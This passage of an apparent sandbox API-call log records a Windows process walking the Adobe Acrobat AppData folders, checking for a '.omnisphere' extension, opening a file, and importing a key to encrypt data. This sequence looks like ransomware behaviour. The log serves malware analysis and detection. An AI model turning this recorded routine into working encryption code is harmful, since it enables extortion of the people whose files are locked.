nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="..", cAlternateFileName="")) returned 1 [0080.619] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="DC", cAlternateFileName="")) returned 1 [0080.619] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdf, cFileName="DC", cAlternateFileName="")) returned 0 [0080.619] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.620] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0080.620] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.621] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0080.621] GetProcessHeap () returned 0x1600000 [0080.621] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x160faa0 [0080.621] PathCombineW (in: pszDest=0x160faa0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat", pszFile="DC" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC" [0080.621] GetProcessHeap () returned 0x1600000 [0080.622] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0080.622] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*" [0080.622] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0080.622] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName="..", cAlternateFileName="")) returned 1 [0080.622] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName="Collab", cAlternateFileName="")) returned 1 [0080.622] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName="Forms", cAlternateFileName="")) returned 1 [0080.622] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName="JSCache", cAlternateFileName="")) returned 1 [0080.622] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName="Security", cAlternateFileName="")) returned 1 [0080.622] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd7, cFileName="Security", cAlternateFileName="")) returned 0 [0080.622] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0080.622] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0080.622] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x5bd69dbd, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5bd69dbd, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.622] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0080.622] GetProcessHeap () returned 0x1600000 [0080.622] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668c58 [0080.622] PathCombineW (in: pszDest=0x1668c58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", pszFile="Collab" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab" [0080.622] GetProcessHeap () returned 0x1600000 [0080.622] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x1633138 [0080.622] PathCombineW (in: pszDest=0x1633138, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*" [0080.623] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.624] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0080.625] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 0 [0080.625] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.625] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Collab\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.625] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0080.625] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x517e05da, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x517e05da, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x517e05da, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0080.625] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.625] GetProcessHeap () returned 0x1600000 [0080.625] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633138 | out: hHeap=0x1600000) returned 1 [0080.625] GetProcessHeap () returned 0x1600000 [0080.625] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668c58 | out: hHeap=0x1600000) returned 1 [0080.625] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1 [0080.625] GetProcessHeap () returned 0x1600000 [0080.625] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x1668708 [0080.625] PathCombineW (in: pszDest=0x1668708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", pszFile="Forms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms" [0080.625] GetProcessHeap () returned 0x1600000 [0080.625] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x16682c8 [0080.625] PathCombineW (in: pszDest=0x16682c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*" [0080.625] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0080.625] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0080.626] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 0 [0080.626] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0080.626] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Forms\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.626] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0080.626] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5163cbb3, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5163cbb3, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5163cbb3, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 0 [0080.626] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0080.626] GetProcessHeap () returned 0x1600000 [0080.626] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16682c8 | out: hHeap=0x1600000) returned 1 [0080.626] GetProcessHeap () returned 0x1600000 [0080.626] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668708 | out: hHeap=0x1600000) returned 1 [0080.626] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd82b1d84, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSCache", cAlternateFileName="")) returned 1 [0080.626] GetProcessHeap () returned 0x1600000 [0080.626] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x80) returned 0x16688a0 [0080.626] PathCombineW (in: pszDest=0x16688a0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", pszFile="JSCache" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache" [0080.626] GetProcessHeap () returned 0x1600000 [0080.626] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x84) returned 0x1633408 [0080.626] PathCombineW (in: pszDest=0x1633408, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*" [0080.626] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.628] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b406794, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xd82b1d84, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe89495bf, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0080.629] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636b588b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x636b588b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x636b588b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0xd4, cFileName="GlobData", cAlternateFileName="")) returned 1 [0080.629] GetProcessHeap () returned 0x1600000 [0080.629] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x1656228 [0080.629] PathCombineW (in: pszDest=0x1656228, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache", pszFile="GlobData" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" [0080.629] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0080.629] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\JSCache\\GlobData" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\jscache\\globdata"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.629] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=22) returned 1 [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.629] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] GetTickCount () returned 0x11545df [0080.630] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16682c8) returned 1 [0080.631] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639568) returned 1 [0080.631] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0080.632] CryptDestroyKey (hKey=0x1639568) returned 1 [0080.632] 